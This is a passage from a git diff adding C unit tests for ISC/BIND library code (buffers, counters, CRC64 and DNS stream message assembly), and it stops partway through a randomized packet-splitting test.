+	size_t last_length = 10;
+	int i;
+
+	UNUSED(state);
+
+	b = NULL;
+	isc_buffer_allocate(mctx, &b, last_length);
+	assert_non_null(b);
+	assert_int_equal(b->length, last_length);
+
+	isc_buffer_putuint8(b, 1);
+
+	for (i = 0; i < 1000; i++) {
+		isc_buffer_putstr(b, "thisisa24charslongstring");
+	}
+	assert_true(b->length - last_length >= 1000 * 24);
+	last_length += 1000 * 24;
+
+	for (i = 0; i < 10000; i++) {
+		isc_buffer_putuint8(b, 1);
+	}
+
+	assert_true(b->length - last_length >= 10000 * 1);
+	last_length += 10000 * 1;
+
+	for (i = 0; i < 10000; i++) {
+		isc_buffer_putuint16(b, 1);
+	}
+
+	assert_true(b->length - last_length >= 10000 * 2);
+
+	for (i = 0; i < 10000; i++) {
+		isc_buffer_putuint32(b, 1);
+	}
+	assert_true(b->length - last_length >= 10000 * 4);
+
+	isc_buffer_free(&b);
+}
+
+/* copy a region into a buffer */
+ISC_RUN_TEST_IMPL(isc_buffer_copyregion) {
+	unsigned char data[] = { 0x11, 0x22, 0x33, 0x44 };
+	isc_buffer_t *b = NULL;
+	isc_result_t result;
+
+	isc_region_t r = {
+		.base = data,
+		.length = sizeof(data),
+	};
+
+	UNUSED(state);
+
+	isc_buffer_allocate(mctx, &b, sizeof(data));
+
+	/*
+	 * Fill originally allocated buffer space.
+	 */
+	result = isc_buffer_copyregion(b, &r);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	/*
+	 * Appending should succeed.
+	 */
+	result = isc_buffer_copyregion(b, &r);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_buffer_free(&b);
+}
+
+/* sprintf() into a buffer */
+ISC_RUN_TEST_IMPL(isc_buffer_printf) {
+	unsigned int used, prev_used;
+	const char *empty_fmt;
+	isc_result_t result;
+	isc_buffer_t *b, sb;
+	char buf[8];
+
+	UNUSED(state);
+
+	/*
+	 * Prepare a buffer with auto-reallocation enabled.
+	 */
+	b = NULL;
+	isc_buffer_allocate(mctx, &b, 0);
+
+	/*
+	 * Sanity check.
+	 */
+	result = isc_buffer_printf(b, "foo");
+	assert_int_equal(result, ISC_R_SUCCESS);
+	used = isc_buffer_usedlength(b);
+	assert_int_equal(used, 3);
+
+	result = isc_buffer_printf(b, "bar");
+	assert_int_equal(result, ISC_R_SUCCESS);
+	used = isc_buffer_usedlength(b);
+	assert_int_equal(used, 3 + 3);
+
+	/*
+	 * Also check the terminating NULL byte is there, even though it is not
+	 * part of the buffer's used region.
+	 */
+	assert_memory_equal(isc_buffer_current(b), "foobar", 7);
+
+	/*
+	 * Skip over data from previous check to prevent failures in previous
+	 * check from affecting this one.
+	 */
+	prev_used = used;
+	isc_buffer_forward(b, prev_used);
+
+	/*
+	 * Some standard usage checks.
+	 */
+	isc_buffer_printf(b, "%d", 42);
+	used = isc_buffer_usedlength(b);
+	assert_int_equal(used - prev_used, 2);
+
+	isc_buffer_printf(b, "baz%1X", 42);
+	used = isc_buffer_usedlength(b);
+	assert_int_equal(used - prev_used, 2 + 5);
+
+	isc_buffer_printf(b, "%6.1f", 42.42f);
+	used = isc_buffer_usedlength(b);
+	assert_int_equal(used - prev_used, 2 + 5 + 6);
+
+	/*
+	 * Also check the terminating NULL byte is there, even though it is not
+	 * part of the buffer's used region.
+	 */
+	assert_memory_equal(isc_buffer_current(b), "42baz2A  42.4", 14);
+
+	/*
+	 * Check an empty format string is properly handled.
+	 *
+	 * Note: we don't use a string literal for the format string to
+	 * avoid triggering [-Werror=format-zero-length].
+	 * Note: we have a dummy third argument as some compilers complain
+	 * without it.
+	 */
+	prev_used = used;
+	empty_fmt = "";
+	result = isc_buffer_printf(b, empty_fmt, "");
+	assert_int_equal(result, ISC_R_SUCCESS);
+	used = isc_buffer_usedlength(b);
+	assert_int_equal(prev_used, used);
+
+	isc_buffer_free(&b);
+
+	/*
+	 * Check overflow on a static buffer.
+	 */
+	isc_buffer_init(&sb, buf, sizeof(buf));
+	result = isc_buffer_printf(&sb, "123456");
+	assert_int_equal(result, ISC_R_SUCCESS);
+	used = isc_buffer_usedlength(&sb);
+	assert_int_equal(used, 6);
+
+	result = isc_buffer_printf(&sb, "789");
+	assert_int_equal(result, ISC_R_NOSPACE);
+	used = isc_buffer_usedlength(&sb);
+	assert_int_equal(used, 6);
+
+	result = isc_buffer_printf(&sb, "78");
+	assert_int_equal(result, ISC_R_NOSPACE);
+	used = isc_buffer_usedlength(&sb);
+	assert_int_equal(used, 6);
+
+	result = isc_buffer_printf(&sb, "7");
+	assert_int_equal(result, ISC_R_SUCCESS);
+	used = isc_buffer_usedlength(&sb);
+	assert_int_equal(used, 7);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_buffer_reserve)
+ISC_TEST_ENTRY(isc_buffer_dynamic)
+ISC_TEST_ENTRY(isc_buffer_copyregion)
+ISC_TEST_ENTRY(isc_buffer_printf)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/counter_test.c b/tests/isc/counter_test.c
new file mode 100644
index 0000000000..dc8dc50f6a
--- /dev/null
+++ b/tests/isc/counter_test.c
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/counter.h>
+#include <isc/result.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+/* test isc_counter object */
+ISC_RUN_TEST_IMPL(isc_counter) {
+	isc_result_t result;
+	isc_counter_t *counter = NULL;
+	int i;
+
+	UNUSED(state);
+
+	result = isc_counter_create(mctx, 0, &counter);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	for (i = 0; i < 10; i++) {
+		result = isc_counter_increment(counter);
+		assert_int_equal(result, ISC_R_SUCCESS);
+	}
+
+	assert_int_equal(isc_counter_used(counter), 10);
+
+	isc_counter_setlimit(counter, 15);
+	for (i = 0; i < 10; i++) {
+		result = isc_counter_increment(counter);
+		if (result != ISC_R_SUCCESS) {
+			break;
+		}
+	}
+
+	assert_int_equal(isc_counter_used(counter), 15);
+
+	isc_counter_detach(&counter);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_counter)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/crc64_test.c b/tests/isc/crc64_test.c
new file mode 100644
index 0000000000..a652dd5b01
--- /dev/null
+++ b/tests/isc/crc64_test.c
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/* ! \file */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/crc64.h>
+#include <isc/result.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+#define TEST_INPUT(x) (x), sizeof(x) - 1
+
+ISC_RUN_TEST_IMPL(isc_crc64_init) {
+	uint64_t crc;
+
+	isc_crc64_init(&crc);
+	assert_int_equal(crc, 0xffffffffffffffffUL);
+}
+
+static void
+_crc64(const char *buf, size_t buflen, const char *result, const int repeats) {
+	uint64_t crc;
+
+	isc_crc64_init(&crc);
+	assert_int_equal(crc, 0xffffffffffffffffUL);
+
+	for (int i = 0; i < repeats; i++) {
+		isc_crc64_update(&crc, buf, buflen);
+	}
+
+	isc_crc64_final(&crc);
+
+	char hex[16 + 1];
+	snprintf(hex, sizeof(hex), "%016" PRIX64, crc);
+
+	assert_memory_equal(hex, result, (result ? strlen(result) : 0));
+}
+
+/* 64-bit cyclic redundancy check */
+ISC_RUN_TEST_IMPL(isc_crc64) {
+	_crc64(TEST_INPUT(""), "0000000000000000", 1);
+	_crc64(TEST_INPUT("a"), "CE73F427ACC0A99A", 1);
+	_crc64(TEST_INPUT("abc"), "048B813AF9F49702", 1);
+	_crc64(TEST_INPUT("message digest"), "5273F9EA7A357BF4", 1);
+	_crc64(TEST_INPUT("abcdefghijklmnopqrstuvwxyz"), "59F079F9218BAAA1", 1);
+	_crc64(TEST_INPUT("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"
+			  "nopqrstuvwxyz0123456789"),
+	       "A36DA8F71E78B6FB", 1);
+	_crc64(TEST_INPUT("123456789012345678901234567890123456789"
+			  "01234567890123456789012345678901234567890"),
+	       "81E5EB73C8E7874A", 1);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_crc64_init)
+ISC_TEST_ENTRY(isc_crc64)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/dnsstream_utils_test.c b/tests/isc/dnsstream_utils_test.c
new file mode 100644
index 0000000000..2d8d6d690f
--- /dev/null
+++ b/tests/isc/dnsstream_utils_test.c
@@ -0,0 +1,646 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <time.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/buffer.h>
+#include <isc/dnsstream.h>
+#include <isc/mem.h>
+#include <isc/os.h>
+#include <isc/random.h>
+
+#include "dnsstream_utils_test_data.h"
+
+#include <tests/isc.h>
+
+#define STATIC_BUFFER_SIZE  (512)
+#define DYNAMIC_BUFFER_SIZE (STATIC_BUFFER_SIZE + ISC_BUFFER_INCR)
+
+static int
+setup_test_dnsbuf(void **state) {
+	isc_buffer_t **pdnsbuf = (isc_buffer_t **)state;
+	isc_buffer_allocate(mctx, pdnsbuf, STATIC_BUFFER_SIZE);
+
+	return (0);
+}
+
+static int
+teardown_test_dnsbuf(void **state) {
+	isc_buffer_free((isc_buffer_t **)state);
+
+	return (0);
+}
+
+static bool
+dnsasm_dummy(isc_dnsstream_assembler_t *dnsasm, const isc_result_t result,
+	     isc_region_t *restrict region, void *cbarg, void *userarg) {
+	UNUSED(dnsasm);
+	UNUSED(result);
+	UNUSED(region);
+	UNUSED(cbarg);
+	UNUSED(userarg);
+	return (true);
+}
+
+static int
+setup_test_dnsasm(void **state) {
+	isc_dnsstream_assembler_t **pdnsasm =
+		(isc_dnsstream_assembler_t **)state;
+	*pdnsasm = isc_dnsstream_assembler_new(mctx, dnsasm_dummy, NULL);
+
+	return (0);
+}
+
+static int
+teardown_test_dnsasm(void **state) {
+	isc_dnsstream_assembler_free((isc_dnsstream_assembler_t **)state);
+
+	return (0);
+}
+
+ISC_RUN_TEST_IMPL(dnsbuffer_generic_test) {
+	uint8_t buf[STATIC_BUFFER_SIZE / 2] = { 0 };
+	isc_buffer_t *dnsbuf = (isc_buffer_t *)*state;
+	isc_region_t reg = { 0 };
+	size_t n = 0;
+
+	for (size_t i = 0; i < sizeof(buf); i++) {
+		buf[i] = (uint8_t)i;
+	}
+
+	/* sanity checks */
+	assert_true(isc_buffer_length(dnsbuf) == STATIC_BUFFER_SIZE);
+	assert_true(isc_buffer_usedlength(dnsbuf) == 0);
+	assert_true(isc_buffer_remaininglength(dnsbuf) == 0);
+
+	isc_buffer_putmem(dnsbuf, buf, sizeof(buf));
+
+	assert_true(isc_buffer_usedlength(dnsbuf) == sizeof(buf));
+	assert_true(isc_buffer_remaininglength(dnsbuf) == sizeof(buf));
+
+	assert_true(isc_buffer_current(dnsbuf) == dnsbuf->base);
+
+	isc_buffer_clear(dnsbuf);
+
+	assert_true(isc_buffer_length(dnsbuf) == STATIC_BUFFER_SIZE);
+	assert_true(isc_buffer_usedlength(dnsbuf) == 0);
+	assert_true(isc_buffer_remaininglength(dnsbuf) == 0);
+
+	isc_buffer_putmem(dnsbuf, buf, sizeof(buf));
+
+	assert_true(isc_buffer_usedlength(dnsbuf) == sizeof(buf));
+	assert_true(isc_buffer_remaininglength(dnsbuf) == sizeof(buf));
+
+	assert_true(isc_buffer_current(dnsbuf) == dnsbuf->base);
+
+	for (size_t i = 0; i < sizeof(buf); i++, isc_buffer_forward(dnsbuf, 1))
+	{
+		uint8_t *p = isc_buffer_current(dnsbuf);
+
+		assert_true(*p == i);
+	}
+
+	assert_true(isc_buffer_remaininglength(dnsbuf) == 0);
+	assert_true(isc_buffer_usedlength(dnsbuf) == sizeof(buf));
+
+	isc_buffer_putmem(dnsbuf, buf, sizeof(buf));
+
+	assert_true(isc_buffer_remaininglength(dnsbuf) == sizeof(buf));
+	assert_true(isc_buffer_usedlength(dnsbuf) == sizeof(buf) * 2);
+
+	assert_true(isc_buffer_length(dnsbuf) == STATIC_BUFFER_SIZE);
+
+	for (size_t i = 0; i < sizeof(buf); i++, isc_buffer_forward(dnsbuf, 1))
+	{
+		uint8_t *p = isc_buffer_current(dnsbuf);
+
+		assert_true(*p == i);
+	}
+
+	isc_buffer_putmem(dnsbuf, buf, sizeof(buf));
+
+	assert_true(isc_buffer_length(dnsbuf) == DYNAMIC_BUFFER_SIZE);
+
+	for (size_t i = 0; i < sizeof(buf); i++, isc_buffer_forward(dnsbuf, 1))
+	{
+		uint8_t *p = isc_buffer_current(dnsbuf);
+
+		assert_true(*p == i);
+	}
+
+	assert_true(isc_buffer_remaininglength(dnsbuf) == 0);
+	isc_buffer_trycompact(dnsbuf);
+
+	assert_true(isc_buffer_length(dnsbuf) == DYNAMIC_BUFFER_SIZE);
+
+	isc_buffer_putmem(dnsbuf, buf, sizeof(buf));
+
+	isc_buffer_remainingregion(dnsbuf, &reg);
+	assert_true(isc_buffer_remaininglength(dnsbuf) == reg.length);
+	assert_true(reg.length == sizeof(buf));
+
+	for (size_t i = 0; i < reg.length; i++) {
+		uint8_t d = (uint8_t)reg.base[i];
+
+		assert_true(d == i);
+	}
+
+	isc_buffer_forward(dnsbuf, reg.length);
+	assert_true(isc_buffer_remaininglength(dnsbuf) == 0);
+
+	isc_buffer_putmem(dnsbuf, buf, sizeof(buf));
+	assert_true(isc_buffer_remaininglength(dnsbuf) == sizeof(buf));
+
+	isc_buffer_clear(dnsbuf);
+
+	assert_true(isc_buffer_length(dnsbuf) == DYNAMIC_BUFFER_SIZE);
+
+	assert_true(isc_buffer_remaininglength(dnsbuf) == 0);
+
+	n = DYNAMIC_BUFFER_SIZE / sizeof(buf) + 1;
+	for (size_t i = 0; i < n; i++) {
+		isc_buffer_putmem(dnsbuf, buf, sizeof(buf));
+	}
+
+	assert_true(isc_buffer_length(dnsbuf) > DYNAMIC_BUFFER_SIZE);
+	assert_true(isc_buffer_length(dnsbuf) >= n * sizeof(buf));
+
+	assert_true(isc_buffer_remaininglength(dnsbuf) == n * sizeof(buf));
+
+	for (size_t i = 0; i < n; i++) {
+		for (size_t k = 0; k < sizeof(buf);
+		     k++, isc_buffer_forward(dnsbuf, 1))
+		{
+			uint8_t *p = isc_buffer_current(dnsbuf);
+
+			assert_true(*p == k);
+		}
+	}
+}
+
+ISC_RUN_TEST_IMPL(dnsbuffer_resize_alloc_test) {
+	uint8_t buf[STATIC_BUFFER_SIZE / 2] = { 0 };
+	isc_buffer_t *dnsbuf = (isc_buffer_t *)*state;
+	size_t i = 0, n = 0;
+
+	for (i = 0; i < sizeof(buf); i++) {
+		buf[i] = (uint8_t)i;
+	}
+
+	isc_buffer_putmem(dnsbuf, buf, sizeof(buf));
+
+	for (i = 0; i < (sizeof(buf) / 3) * 2;
+	     i++, isc_buffer_forward(dnsbuf, 1))
+	{
+		uint8_t *p = isc_buffer_current(dnsbuf);
+
+		assert_true(*p == i);
+	}
+
+	assert_true(isc_buffer_length(dnsbuf) == STATIC_BUFFER_SIZE);
+
+	n = DYNAMIC_BUFFER_SIZE / sizeof(buf) + 1;
+	for (size_t k = 0; k < n; k++) {
+		isc_buffer_putmem(dnsbuf, buf, sizeof(buf));
+	}
+
+	assert_true(isc_buffer_length(dnsbuf) >= STATIC_BUFFER_SIZE);
+
+	for (; i < sizeof(buf); i++, isc_buffer_forward(dnsbuf, 1)) {
+		uint8_t *p = isc_buffer_current(dnsbuf);
+
+		assert_true(*p == i);
+	}
+}
+
+ISC_RUN_TEST_IMPL(dnsbuffer_be_test) {
+	isc_buffer_t *dnsbuf = (isc_buffer_t *)*state;
+	const uint16_t u16 = 0xBEEF;
+	uint16_t *pu16;
+	uint16_t u16v;
+
+	assert_true(isc_buffer_remaininglength(dnsbuf) == 0);
+
+	isc_buffer_putuint16(dnsbuf, u16);
+
+	assert_true(isc_buffer_remaininglength(dnsbuf) == sizeof(u16));
+
+	pu16 = (uint16_t *)isc_buffer_current(dnsbuf);
+	assert_true(*pu16 == htons(u16));
+
+	assert_int_equal(isc_buffer_peekuint16(dnsbuf, &u16v), ISC_R_SUCCESS);
+	assert_int_equal(u16v, u16);
+	assert_true(isc_buffer_remaininglength(dnsbuf) == sizeof(u16));
+
+	assert_true(isc_buffer_getuint16(dnsbuf) == u16);
+	assert_true(isc_buffer_remaininglength(dnsbuf) == 0);
+}
+
+typedef struct verify_cbdata {
+	uint8_t *verify_message;
+	bool cont_on_success;
+	bool clear_on_success;
+} verify_cbdata_t;
+
+static bool
+verify_dnsmsg(isc_dnsstream_assembler_t *dnsasm, const isc_result_t result,
+	      isc_region_t *restrict region, void *cbarg, void *userarg) {
+	size_t *processed = (size_t *)userarg;
+	verify_cbdata_t *vdata = (verify_cbdata_t *)cbarg;
+	uint8_t *message = (uint8_t *)vdata->verify_message;
+
+	UNUSED(dnsasm);
+
+	assert_true(result == isc_dnsstream_assembler_result(dnsasm));
+
+	if (vdata->verify_message != NULL) {
+		message += sizeof(uint16_t);
+	}
+
+	if (result != ISC_R_SUCCESS) {
+		return (true);
+	}
+
+	if (vdata->verify_message != NULL &&
+	    memcmp(message, region->base, region->length) == 0)
+	{
+		*processed += 1;
+	} else {
+		*processed += 1;
+	}
+
+	if (vdata->clear_on_success) {
+		isc_dnsstream_assembler_clear(
+			(isc_dnsstream_assembler_t *)dnsasm);
+	}
+
+	return (vdata->cont_on_success);
+}
+
+typedef struct verify_regions_cbdata {
+	isc_region_t *packets;
+	bool cont_on_success;
+} verify_regions_cbdata_t;
+
+static bool
+verify_dnsmsg_regions(isc_dnsstream_assembler_t *dnsasm,
+		      const isc_result_t result, isc_region_t *restrict region,
+		      void *cbarg, void *userarg) {
+	size_t *processed = (size_t *)userarg;
+	verify_regions_cbdata_t *vdata = (verify_regions_cbdata_t *)cbarg;
+	uint8_t *message = (uint8_t *)vdata->packets[0].base;
+
+	UNUSED(dnsasm);
+
+	assert_true(result == isc_dnsstream_assembler_result(dnsasm));
+
+	if (vdata->packets != NULL) {
+		message += sizeof(uint16_t);
+	}
+
+	if (result != ISC_R_SUCCESS) {
+		return (true);
+	}
+
+	if (vdata->packets != NULL &&
+	    memcmp(message, region->base, region->length) == 0)
+	{
+		*processed += 1;
+	} else {
+		*processed += 1;
+	}
+
+	vdata->packets++;
+
+	return (vdata->cont_on_success);
+}
+
+ISC_RUN_TEST_IMPL(dnsasm_sequence_test) {
+	isc_dnsstream_assembler_t *dnsasm = (isc_dnsstream_assembler_t *)*state;
+	verify_cbdata_t cbdata = { 0 };
+	size_t verified = 0;
+
+	cbdata.cont_on_success = true;
+
+	cbdata.verify_message = (uint8_t *)request;
+	isc_dnsstream_assembler_setcb(dnsasm, verify_dnsmsg, (void *)&cbdata);
+	isc_dnsstream_assembler_incoming(dnsasm, &verified, (void *)request,
+					 sizeof(request));
+	assert_true(verified == 1);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_SUCCESS);
+
+	cbdata.verify_message = (uint8_t *)response;
+	isc_dnsstream_assembler_setcb(dnsasm, verify_dnsmsg, (void *)&cbdata);
+	isc_dnsstream_assembler_incoming(dnsasm, &verified, (void *)response,
+					 sizeof(response));
+	assert_true(verified == 2);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_SUCCESS);
+
+	cbdata.verify_message = (uint8_t *)request_large;
+	isc_dnsstream_assembler_setcb(dnsasm, verify_dnsmsg, (void *)&cbdata);
+	isc_dnsstream_assembler_incoming(dnsasm, &verified,
+					 (void *)request_large,
+					 sizeof(request_large));
+	assert_true(verified == 3);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_SUCCESS);
+
+	cbdata.verify_message = (uint8_t *)response_large;
+	isc_dnsstream_assembler_setcb(dnsasm, verify_dnsmsg, (void *)&cbdata);
+	isc_dnsstream_assembler_incoming(dnsasm, &verified,
+					 (void *)response_large,
+					 sizeof(response_large));
+	assert_true(verified == 4);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_SUCCESS);
+}
+
+ISC_RUN_TEST_IMPL(dnsasm_multiple_messages_test) {
+	isc_dnsstream_assembler_t *dnsasm = (isc_dnsstream_assembler_t *)*state;
+	isc_buffer_t dnsbuf;
+	verify_cbdata_t cbdata = { 0 };
+	size_t verified = 0;
+
+	isc_buffer_init(&dnsbuf, NULL, 0);
+	isc_buffer_setmctx(&dnsbuf, mctx);
+	isc_buffer_putmem(&dnsbuf, (void *)request, sizeof(request));
+	isc_buffer_putmem(&dnsbuf, (void *)response, sizeof(response));
+	isc_buffer_putmem(&dnsbuf, (void *)request_large,
+			  sizeof(request_large));
+	isc_buffer_putmem(&dnsbuf, (void *)response_large,
+			  sizeof(response_large));
+
+	cbdata.cont_on_success = false;
+
+	/*
+	 * feed the data to the message assembler and handle the first message
+	 */
+	cbdata.verify_message = (uint8_t *)request;
+	isc_dnsstream_assembler_setcb(dnsasm, verify_dnsmsg, (void *)&cbdata);
+	isc_dnsstream_assembler_incoming(dnsasm, &verified,
+					 isc_buffer_current(&dnsbuf),
+					 isc_buffer_remaininglength(&dnsbuf));
+
+	isc_buffer_clearmctx(&dnsbuf);
+	isc_buffer_invalidate(&dnsbuf);
+	assert_true(verified == 1);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_SUCCESS);
+
+	/*
+	 * handle the next message (and so on)
+	 */
+	cbdata.verify_message = (uint8_t *)response;
+	isc_dnsstream_assembler_incoming(dnsasm, &verified, NULL, 0);
+	assert_true(verified == 2);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_SUCCESS);
+
+	cbdata.verify_message = (uint8_t *)request_large;
+	isc_dnsstream_assembler_incoming(dnsasm, &verified, NULL, 0);
+	assert_true(verified == 3);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_SUCCESS);
+
+	cbdata.verify_message = (uint8_t *)response_large;
+	isc_dnsstream_assembler_incoming(dnsasm, &verified, NULL, 0);
+	assert_true(verified == 4);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_SUCCESS);
+
+	/*
+	 * no unprocessed data left
+	 */
+	isc_dnsstream_assembler_incoming(dnsasm, &verified, NULL, 0);
+	assert_true(verified == 4);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_NOMORE);
+}
+
+ISC_RUN_TEST_IMPL(dnsasm_torn_apart_test) {
+	isc_dnsstream_assembler_t *dnsasm = (isc_dnsstream_assembler_t *)*state;
+	verify_cbdata_t cbdata = { 0 };
+	size_t verified = 0;
+	size_t left = 0;
+
+	cbdata.verify_message = (uint8_t *)response_large;
+	isc_dnsstream_assembler_setcb(dnsasm, verify_dnsmsg, (void *)&cbdata);
+	isc_dnsstream_assembler_incoming(dnsasm, &verified, response_large,
+					 sizeof(response_large) / 3 * 2);
+
+	assert_true(verified == 0);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_NOMORE);
+
+	left = sizeof(response_large) -
+	       isc_dnsstream_assembler_remaininglength(dnsasm);
+	isc_dnsstream_assembler_incoming(
+		dnsasm, &verified,
+		&response_large[isc_dnsstream_assembler_remaininglength(dnsasm)],
+		left);
+	assert_true(verified == 1);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_SUCCESS);
+}
+
+ISC_RUN_TEST_IMPL(dnsasm_error_data_test) {
+	isc_dnsstream_assembler_t *dnsasm = (isc_dnsstream_assembler_t *)*state;
+	verify_cbdata_t cbdata = { 0 };
+	size_t verified = 0;
+	isc_buffer_t dnsbuf;
+	uint16_t bad_data = 0;
+
+	isc_buffer_init(&dnsbuf, NULL, 0);
+	isc_buffer_setmctx(&dnsbuf, mctx);
+
+	isc_buffer_putmem(&dnsbuf, (void *)request, sizeof(request));
+	isc_buffer_putmem(&dnsbuf, (void *)&bad_data, sizeof(bad_data));
+	isc_buffer_putmem(&dnsbuf, (void *)&bad_data, sizeof(bad_data));
+	isc_buffer_putmem(&dnsbuf, (void *)response_large,
+			  sizeof(response_large));
+
+	cbdata.cont_on_success = false;
+
+	cbdata.verify_message = (uint8_t *)request;
+	isc_dnsstream_assembler_setcb(dnsasm, verify_dnsmsg, (void *)&cbdata);
+	isc_dnsstream_assembler_incoming(dnsasm, &verified,
+					 isc_buffer_current(&dnsbuf),
+					 isc_buffer_remaininglength(&dnsbuf));
+
+	isc_buffer_clearmctx(&dnsbuf);
+	isc_buffer_invalidate(&dnsbuf);
+
+	assert_true(verified == 1);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_SUCCESS);
+
+	assert_true(isc_dnsstream_assembler_remaininglength(dnsasm) > 0);
+	isc_dnsstream_assembler_incoming(dnsasm, &verified, NULL, 0);
+
+	assert_true(verified == 1);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_RANGE);
+	assert_true(isc_dnsstream_assembler_remaininglength(dnsasm) == 0);
+
+	isc_dnsstream_assembler_incoming(dnsasm, &verified, NULL, 0);
+	assert_true(verified == 1);
+	assert_true(isc_dnsstream_assembler_result(dnsasm) == ISC_R_NOMORE);
+}
+
+ISC_RUN_TEST_IMPL(dnsasm_torn_randomly_test) {
+	isc_dnsstream_assembler_t *dnsasm = (isc_dnsstream_assembler_t *)*state;
+	verify_cbdata_t cbdata = { 0 };
+	verify_regions_cbdata_t cbdata_regions = { 0 };
+	isc_buffer_t dnsbuf;
+	size_t packetno;
+	isc_region_t packets[] = {
+		{ (void *)request, sizeof(request) },
+		{ (void *)response, sizeof(response) },
+		{ (void *)request_large, sizeof(request_large) },
+		{ (void *)response_large, sizeof(response_large) },
+		{ (void *)request, sizeof(request) },
+		{ (void *)response_large, sizeof(response_large) },
+		{ (void *)request_large, sizeof(request_large) },
+		{ (void *)response_large, sizeof(response_large) },
+		{ (void *)request, sizeof(request) },
+	};
+	const size_t npackets = sizeof(packets) / sizeof(packets[0]);
+
+	isc_buffer_init(&dnsbuf, NULL, 0);
+	isc_buffer_setmctx(&dnsbuf, mctx);
+
+	for (size_t i = 0; i < npackets; i++) {
+		isc_buffer_putmem(&dnsbuf, packets[i].base, packets[i].length);
+	}
+
+	/* process packet by packet */
+	packetno = 0;
+	cbdata.cont_on_success = false;
+	isc_dnsstream_assembler_setcb(dnsasm, verify_dnsmsg, (void *)&cbdata);
+
+	/* process random amount of data */
+	for (; isc_buffer_remaininglength(&dnsbuf) > 0;) {
+		size_t sz = 1 + isc_random_uniform(
+					isc_buffer_remaininglength(&dnsbuf));
+
+		for (bool start = true; packetno < npackets; start = false) {
+			cbdata.verify_message =
+				(uint8_t *)packets[packetno].base;
+
+			if (start) {
+				isc_dnsstream_assembler_incoming(
+					dnsasm, &packetno,
+					isc_buffer_current(&dnsbuf), sz);
+			} else {
+				isc_dnsstream_assembler_incoming(
+					dnsasm, &packetno, NULL, 0);
+			}
+
+			if (isc_dnsstream_assembler_result(dnsasm) ==
+			    ISC_R_NOMORE)
+			{
+				break;
+			}
+		}
+
+		isc_buffer_forward(&dnsbuf, sz);
+	}
+
+	assert_true(packetno == npackets);
+	assert_true(isc_dnsstream_assembler_remaininglength(dnsasm) == 0);
+	assert_true(isc_buffer_remaininglength(&dnsbuf) == 0);
+
+	for (size_t i = 0; i < npackets; i++) {
+		isc_buffer_putmem(&dnsbuf, packets[i].base, packets[i].length);
+	}
+
+	/* try to process multiple packets at once, when possible */
+	packetno = 0;
+	cbdata_regions.cont_on_success = true;
+	cbdata_regions.packets = packets;
+
+	isc_dnsstream_assembler_setcb(dnsasm, verify_dnsmsg_regions,
+				      (void *)&cbdata_regions);
+
+	/* process random amount of data */
+	for (; isc_buffer_remaininglength(&dnsbuf) > 0;) {
+		size_t sz = 1 + isc_random_uniform(
+					isc_buffer_remaininglength(&dnsbuf));
+
+		isc_dnsstream_assembler_incoming(
+			dnsasm, &packetno, isc_buffer_current(&dnsbuf), sz);
+
